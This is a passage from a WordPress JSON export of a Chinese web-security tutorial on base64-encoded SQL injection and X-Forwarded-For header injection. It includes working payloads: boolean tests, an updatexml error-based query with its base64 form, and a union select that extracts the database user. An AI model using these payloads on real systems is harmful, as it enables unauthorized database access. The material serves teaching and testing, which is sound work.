data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae62b93ceb.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745986881854-9c7af144-8c40-4748-a5f0-da8141aa0bbb.png\" \/><\/p>\n<h1>base64\u7f16\u7801\u6ce8\u5165<\/h1>\n<p>\u4e00\u822c\u7528\u4e8e\u6570\u636e\u7f16\u7801\u8fdb\u884c\u4f20\u8f93\uff0c\u4f8b\u5982\u90ae\u4ef6\uff0c\u4e5f\u7528\u4e8e\u56fe\u7247\u52a0\u5bc6\u5b58\u50a8\u5728\u7f51\u9875\u4e2d\uff0c\u6570\u636e\u5e93\u7f16\u7801\u90fd\u597d\u5904\u662f\u9632\u6b62\u6570\u636e\u4e22\u5931\uff0c\u4e5f\u6709\u4e0d\u5c11\u7f51\u7ad9\u4f7f\u7528base64\u8fdb\u884c\u6570\u636e\u5e93\u4f20\u8f93\uff0c\u5982\u641c\u7d22\u680f\uff0c\u6216\u8005id\u63a5\u6536\u53c2\u6570\uff0c\u6709\u53ef\u80fd\u4f7f\u7528base64\u5904\u7406\u4f20\u9012\u90fd\u53c2\u6570<\/p>\n<p>\u5728php\u4e2d base64_encode()\u51fd\u6570\u5bf9\u5b57\u7b26\u4e32\u8fdb\u884cbase64\u7f16\u7801 \u53ef\u4ee5\u7f16\u7801\u4e5f\u80fd\u89e3\u7801<\/p>\n<p>base64_decode()\u8fd9\u4e2a\u51fd\u6570\u8fdb\u884c\u89e3\u7801<\/p>\n<p>\u7f16\u7801\u89e3\u7801\u6d41\u7a0b\uff1a<\/p>\n<p>1-&gt;base64\u7f16\u7801-&gt;MQ&#8211;&gt;base64\u89e3\u7801<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae62d8d590.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745987318271-bebc4ecf-f1a2-4b92-94d7-9d0c5dd70cb8.png\" \/><\/p>\n<p>base64\u7f16\u7801\u6ce8\u5165\u53ef\u4ee5\u7ed5\u8fc7gpc\u6ce8\u5165\u62e6\u622a\uff0c\u56e0\u4e3a\u7f16\u7801\u8fc7\u540e\u7684\u5b57\u7b26\u4e32\u4e0d\u5b58\u5728\u7279\u6b8a\u5b57\u7b26\uff0c\u7f16\u7801\u8fc7\u540e\u7684\u5b57\u7b26\u4e32\u5728\u7a0b\u5e8f\u4e2d\u91cd\u65b0\u88ab\u89e3\u7801\uff0c\u518d\u62fc\u63a5\u6210SQL\u653b\u51fb\u8bed\u53e5\uff0c\u4ece\u800c\u5f62\u6210SQL\u6ce8\u5165<\/p>\n<h3>base64\u6ce8\u5165\u4ee3\u7801\u5206\u6790<\/h3>\n<p>\u4ece\u5b58\u5728\u6f0f\u6d1e\u7684\u4ee3\u7801\u4e2d\uff0c\u9996\u5148\u5224\u65ad\u662f\u5426\u6709POST\u7684submit\u53c2\u6570\u8fc7\u6765\uff0c\u5982\u679c\u6709 \u4f7f\u7528$_COOKIE[&#8216;uname&#8217;]\u83b7\u53d6cookie\u4f20\u8fc7\u6765\u7684\u8d26\u53f7\u518d\u62fc\u63a5\u5230SQL\u67e5\u8be2<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae6300692d.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745987732322-df1eb9b3-cc58-4823-abf8-1da25e15b4d0.png\" \/><\/p>\n<p>\u8fd9\u6bb5\u4ee3\u7801\u7684\u610f\u601d$cookee = base64_decode($cookee);\u5c06$cookee\u4f20\u8fc7\u6765\u7684\u53c2\u6570\u8fdb\u884c\u89e3\u7801\uff0c\u6240\u4ee5$cookee\u4f20\u9012\u8fc7\u6765\u7684\u6570\u636e\u5fc5\u987b\u5148\u8fdb\u884c\u7f16\u7801\uff0c\u5426\u5219\u89e3\u7801\u4e0d\u4e86\u4f1a\u5bfc\u81f4\u51fa\u9519<\/p>\n<h3>\u9ed1\u76d2\u73af\u5883\u5bf9base64\u7f16\u7801\u6ce8\u5165<\/h3>\n<p>\u89c2\u5bdf\u7f51\u7ad9\u662f\u5426\u5b58\u5728base64\u7f16\u7801\u6570\u636e\uff0c\u4f8b\u5982\u4f20\u9012\u7684id\uff0c\u641c\u7d22\u6a21\u5757<\/p>\n<p>\u5982\u679c\u5b58\u5728\u7c7b\u4f3c== \u53ef\u4ee5\u7528base64\u89e3\u7801\u8fdb\u884c\u5395\u6240<\/p>\n<p>admin&#8217;and 1=1&#8211; \u7f16\u7801YWRtaW4nYW5kIDE9MS0tIA==<\/p>\n<p>admin&#8217;and 1=2&#8211; \u7f16\u7801YWRtaW4nYW5kIDE9Mi0tIA==<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae638475a8.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745988110801-24c6c940-6701-4a49-827f-5adbaf5f1df2.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae63a76322.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745988136922-5658133b-0684-4a8f-a855-beac7d634292.png\" \/><\/p>\n<p>\u672c\u6b21\u6d4b\u8bd5\u9875\u9762\u662fcookie \u6240\u4ee5\u7528cookie\u63d0\u4ea4 \u4e14\u6709\u62ec\u53f7\u9700\u8981\u95ed\u5408<\/p>\n<p>\u7b2c\u4e00\u6b21\u63d0\u4ea4\u9875\u9762\u8fd4\u56de\u5b58\u5728admin \u7b2c\u4e8c\u6b21\u63d0\u4ea4\u6ca1\u6709admin \u9875\u9762\u8fd4\u56de\u4e0d\u76f8\u540c\uff0c\u6240\u4ee5\u5b58\u5728SQL\u6ce8\u5165<\/p>\n<p>\u4ee3\u7801\u5b58\u5728mysqli_error\u51fd\u6570\u6240\u4ee5\u53ef\u4ee5\u5229\u7528\u62a5\u9519\u6ce8\u5165\u8fdb\u4e00\u6b65\u83b7\u53d6\u654f\u611f\u4fe1\u606f<\/p>\n<p>admin&#8217;)and (updatexml(1,concat(0x7e,(select user()),0x7e),1))&#8211; <\/p>\n<p>\u8fdb\u884cbase64\u7f16\u7801\u662f<\/p>\n<p>YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpKS0tIA==<\/p>\n<p>\u63d0\u4ea4\u83b7\u53d6\u654f\u611f\u4fe1\u606f<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae63cb6d1f.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745988175871-8345641e-1126-41fa-9006-b5488d71c7a0.png\" \/><\/p>\n<h1>xff\u6ce8\u5165\u653b\u51fb<\/h1>\n<p>X-Forwarded-For\u7b80\u79f0xxf\u5934\uff0c\u4ee3\u8868\u5ba2\u6237\u7aef\u771f\u5b9eIP,\u901a\u8fc7\u4fee\u6539\u4ed6\u7684\u503c\u5c31\u53ef\u4ee5\u4f2a\u9020\u5ba2\u6237\u7aefIP,XFF\u5e76\u4e0d\u53d7gpc\u5f71\u54cd\uff0c\u800c\u4e14\u5f00\u53d1\u4eba\u5458\u5bb9\u6613\u5ffd\u7565\u8fd9\u4e2axff\u5934\uff0c\u4e0d\u4f1a\u5bf9xff\u5934\u8fc7\u6ee4<\/p>\n<p>&lt;?php<\/p>\n<p>echo &quot;xff&#8211;&quot; $_SERVER[&#8216;HTTP_X_FORWAEDED_FOR&#8217;];<\/p>\n<p>?&gt;<\/p>\n<p>\u4f7f\u7528bpX-Forwarded-For:9.9.9.9\u53ef\u4ee5\u968f\u610f\u8bbe\u7f6e\u5b57\u7b26\u4e32\uff0c\u5982\u679c\u7a0b\u5e8f\u4e2d\u83b7\u53d6\u8fd9\u4e2a\u503c\u518d\u5e26\u5165\u6570\u636e\u5e93\u67e5\u8be2\u4f1a\u9020\u6210SQL\u6ce8\u5165<\/p>\n<p>\u9664\u4e86X-Forwarded-For\u8fd8\u6709HTTP_CLIENT_IP\u90fd\u53ef\u4ee5\u7531\u5ba2\u6237\u7aef\u63a7\u5236\u503c\uff0c\u6240\u4ee5\u670d\u52a1\u7aef\u63a5\u53d7\u8fd9\u4e24\u4e2a\u53c2\u6570\u7684\u65f6\u5019\uff0c\u6ca1\u6709\u8fc7\u6ee4\u4f1a\u9020\u6210SQL\u6ce8\u5165\u6216\u8005\u66f4\u9ad8\u7684\u5371\u5bb3<\/p>\n<h3>xff\u6ce8\u5165\u4ee3\u7801\u5206\u6790<\/h3>\n<p>getenv(&#8216;HTTP_X_FORWARDED_FOR&#8217;)\u83b7\u53d6\u8fdc\u7a0b\u5ba2\u6237\u7aef\u7684HTTP_X_FORWARDED_FOR\u7684\u503c\uff0c\u6ca1\u6709\u8fdb\u884c\u8fc7\u6ee4\u62fc\u63a5SQL\u8bed\u53e5\u5e26\u5165\u67e5\u8be2\u9020\u6210\u6ce8\u5165<\/p>\n<h3>\u5728\u9ed1\u76d2\u73af\u5883\u4e0bxff\u6ce8\u5165<\/h3>\n<p>\u5728\u7528\u6237\u767b\u5f55\u6ce8\u518c\u6a21\u5757\u5728HTTP\u5934\u4fe1\u606f\u6dfb\u52a0X_FORWARDED_FOR\uff1a9.9.9.9 \u7528\u6237\u5728\u6ce8\u518c\u7684\u65f6\u5019\uff0c\u5982\u679c\u5b58\u5728\u5b89\u5168\u9690\u60a3\uff0c\u4f1a\u51fa\u73b0\u9519\u8bef\u9875\u9762\u6216\u8005\u62a5\u9519\uff0c\u4ece\u800c\u5bfc\u81f4\u6ce8\u518c\u6216\u8005\u767b\u5f55\u7528\u6237\u5931\u8d25<\/p>\n<p>bp\u6293\u5305\u63d0\u4ea4\u68c0\u6d4b\u8bed\u53e5<\/p>\n<p>X_Forwarded_For:127.0.0.1&#8217;and 1=1 &#8212; <\/p>\n<p>X_Forwarded_For:127.0.0.1&#8217;and 1=2 &#8212; <\/p>\n<p>\u4e24\u6b21\u63d0\u4ea4\u8fd4\u56de\u4e0d\u4e00\u6837 \u5b58\u5728SQL\u6ce8\u5165\u6f0f\u6d1e<\/p>\n<p>\u83b7\u53d6\u654f\u611f\u4fe1\u606f<\/p>\n<p>X_Forwarded_For:127.0.0.1&#8242; union select 1,2,user()#<\/p>\n<p>\u8f93\u5165\u63d0\u4ea4\u5305\u540e \u770b\u5230\u9875\u9762\u8fd4\u56deroot@localhost<\/p>\n<blockquote>\n<p>\u66f4\u65b0: 2025-05-06 19:05:20<br \/>\n\u539f\u6587: <a href=\"https:\/\/www.yuque.com\/yuhui.net\/network\/am6vgle0y4q4991d\">https:\/\/www.yuque.com\/yuhui.net\/network\/am6vgle0y4q4991d<\/a><\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>SQL\u6ce8\u5165 \u6982\u5ff5 Web\u7a0b\u5e8f\u4ee3\u7801\u5bf9\u4e8e\u7528\u6237\u63d0\u4ea4\u7684\u53c2\u6570\u672a\u505a\u8fc7\u6ee4\u76f4\u63a5\u653e\u5230SQL\u8bed\u53e5\u4e2d\u6267\u884c\uff0c\u5bfc\u81f4\u53c2\u6570\u7279\u6b8a\u5b57\u7b26\u4f20\u5165\u540e\u7aef\u62fc\u63a5\u6253\u7834SQL\u8bed\u53e5\u539f\u6709\u903b\u8f91\uff0c\u9ed1\u5ba2\u5229\u7528\u8be5\u6f0f\u6d1e\u6267\u884c\u4efb\u610fSQL\u8bed\u53e5\uff0c\u5982\u67e5\u8be2\u6570\u636e\uff0c\u4e0b\u8f7d\u6570\u636e\uff0c\u5199\u5165Webshell\uff0c\u6267\u884c\u6d17\u5934\u547d\u4ee4\u4ee5\u53ca\u7ed5\u8fc7\u767b\u5f55\u9650\u5236 \u6d4b\u8bd5\u65b9\u6cd5 \u53d1\u73b0\u6709\u53ef\u63a7\u53c2\u6570\u7684\u5730\u65b9\u4f7f\u7528sqlmap\u8fdb\u884cSQL\u6ce8\u5165\u7684\u68c0\u67e5\u6216\u8005\u5229\u7528\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528\u5176\u4ed6SQL\u6ce8\u5165\u5de5\u5177\uff0c\u7b80\u5355\u70b9\u53ef\u4ee5\u624b\u5de5\u6d4b\u8bd5\u5982\uff1a\u5355\u5f15\u53f7\uff0cand 1=1 \u548ca [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[119,120,2],"tags":[12,22,29,43,57],"class_list":["post-769","post","type-post","status-publish","format-standard","hentry","category-shentouceshijichu-network_sec","category-loudongleibie","category-network_sec","tag-12","tag-windows","tag-java","tag-43","tag-python"],"_links":{"self":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts\/769","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/comments?post=769"}],"version-history":[{"count":0,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts\/769\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/media?parent=769"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/categories?post=769"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/tags?post=769"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}